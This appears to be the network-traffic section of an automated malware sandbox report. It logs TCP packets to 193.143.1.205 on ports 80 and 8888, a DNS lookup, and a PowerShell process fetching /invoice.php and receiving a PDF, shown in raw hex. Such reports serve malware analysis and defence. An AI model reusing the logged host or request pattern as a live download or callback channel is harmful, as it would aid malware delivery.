Jan 10, 2025 23:46:03.686067104 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.686111927 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.686134100 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.686177015 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.686204910 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.686217070 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.686249971 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.686249971 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.688041925 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.734277010 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.734304905 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.734318972 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.734330893 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.734344006 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.734355927 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.734366894 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.734380960 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.734410048 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.734430075 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.734442949 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.734458923 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.734467983 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.734472990 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.734486103 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.734514952 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.734514952 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.734555006 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.734600067 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.734615088 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.734627962 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.734642029 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.734653950 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.734666109 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.734677076 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.734677076 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.734679937 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.734705925 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.734750032 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.734761000 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.734776020 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.734790087 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.734811068 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.734811068 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.734812021 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.734823942 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.734834909 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.734846115 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.734853983 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.734862089 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.734873056 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.734875917 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.734885931 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.734920025 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.734935045 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.768172979 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.768198013 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.768210888 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.768224001 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.768237114 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.768249035 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.768263102 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.768313885 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.768315077 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.768366098 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.768367052 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.768378973 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.768389940 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.768409967 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.768420935 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.768431902 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.768450022 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.768457890 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.768465996 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.768471003 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.768527985 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.768680096 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.768767118 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.768779993 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.768816948 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.768816948 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.768821955 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.768835068 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.768846989 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.768857956 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.768879890 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.768896103 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.768935919 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.768946886 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.768959045 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.769015074 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.769026995 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.769037962 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.769052029 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.769052029 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.769113064 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.769124985 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.769141912 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.769153118 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.769164085 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.769167900 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.769167900 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.769176006 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.769181013 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.769231081 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.769254923 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.769265890 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.769278049 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.769292116 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.769336939 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.769340992 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.769340992 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.769347906 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.769359112 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.769387007 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.769437075 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.769448996 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.769459963 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.769490004 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.769494057 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.769494057 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.769500971 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.769510984 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.769522905 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.769575119 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.769575119 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.769577980 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.769589901 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.769656897 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.769659042 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.769670010 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.769680023 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.769772053 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.769778967 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.769783020 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.769793034 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.769804955 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.769824982 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.769834042 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.769840002 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.769845963 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.769855976 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.769866943 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.769880056 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.769884109 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.769912958 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.769936085 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.769948006 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.769953012 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.769988060 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.769994020 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.769999981 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.770010948 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.770040035 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.770051956 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.770062923 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.770083904 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.770132065 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.770143032 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.770153046 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.770164967 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.770173073 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.770194054 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.770255089 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.770267963 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.770277023 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.770287991 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.770303011 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.770308971 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.770308971 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.770347118 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.770366907 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.770421028 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.770433903 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.770466089 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.770476103 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.770478964 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.770508051 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.770509005 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.770519972 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.770677090 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.805696964 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.805712938 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.805778980 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.805790901 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.805802107 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.805813074 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.805819988 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.805819988 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.805824995 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.805836916 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.805871964 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.805871964 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.817504883 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.817528963 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.817552090 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.817564011 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.817574978 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.817584991 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.817595959 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.817608118 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.817637920 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.817640066 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.817640066 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.817676067 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.817688942 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.817727089 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.817728996 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.817728996 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.817738056 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.817749977 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.817761898 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.817802906 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.817802906 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.817806005 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.817816973 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.817828894 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.817872047 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.817883968 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.817900896 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.817909002 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.817909002 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.817910910 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.817925930 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.817936897 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.817943096 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.818057060 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.840954065 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.854944944 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.854965925 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.854990005 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.855000019 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.855011940 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.855022907 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.855040073 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.855055094 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.855066061 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.855066061 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.855068922 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.855129957 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.855293036 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.855326891 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.855345964 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.855365038 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.855382919 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.855393887 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.855405092 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.855432987 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.855561972 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:04.349253893 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:04.470777988 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:04.977615118 CET	49706	8888	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:04.982500076 CET	8888	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:04.982641935 CET	49706	8888	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:04.982883930 CET	49706	8888	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:04.987647057 CET	8888	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:05.788136005 CET	8888	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:05.833126068 CET	49706	8888	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:07.544644117 CET	49706	8888	192.168.2.8	193.143.1.205

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 23:46:12.617342949 CET	53019	53	192.168.2.8	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 10, 2025 23:46:12.617342949 CET	192.168.2.8	1.1.1.1	0x3229	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 10, 2025 23:46:12.624543905 CET	1.1.1.1	192.168.2.8	0x3229	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 23:46:13.361968994 CET	1.1.1.1	192.168.2.8	0x730d	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 10, 2025 23:46:13.361968994 CET	1.1.1.1	192.168.2.8	0x730d	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.8	49705	193.143.1.205	80	7968	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 23:46:02.322057009 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 10, 2025 23:46:03.095551968 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 22:46:02 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 10, 2025 23:46:03.095573902 CET	224	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 10, 2025 23:46:03.095685005 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Jan 10, 2025 23:46:03.095695019 CET	224	IN	Data Raw: 3b 85 a9 6f 3f 00 00 00 00 00 00 00 00 00 1b 34 75 8a c1 d4 ca 25 f4 d1 96 d0 79 06 bd 9d 3d 6e a2 c7 a0 8a ce 93 68 1a 11 a5 87 ee 9e a9 6f 42 00 00 00 00 00 00 00 00 00 1b 31 75 84 c1 d4 6a 4a 68 1a ed 74 19 f4 f1 66 f6 b8 8e 1e 37 8f a9 8a 56 Data Ascii: ;o?4u%y=nhoB1ujJhtf7VOY;oE7uGv+j Tg~:{oEk6u~%f vA.q<pDtCtC'0`&K]
Jan 10, 2025 23:46:03.095706940 CET	1236	IN	Data Raw: ab ce 09 d5 25 b4 1b 08 ed 33 68 0a a0 17 e7 b3 c7 7d fb 9f cd 23 fd cd 4b 49 a2 fd 88 a8 9d 0f 7d fc 34 ef a1 1c 1e ba 13 a6 be 21 01 00 00 ec 0a be 4c 02 00 00 00 00 e0 cb 30 49 70 c1 6e 28 2d c8 1d 2f a1 6d f1 bc 6f 1a e8 d9 fd b9 7b 48 15 6d Data Ascii: %3h}#KI}4!L0Ipn(-/mo{Hmi?"PoH;2l`rPSB]8s~%~w}rS&WJ\|1W{c =*@Og8m\|JtConopN01R
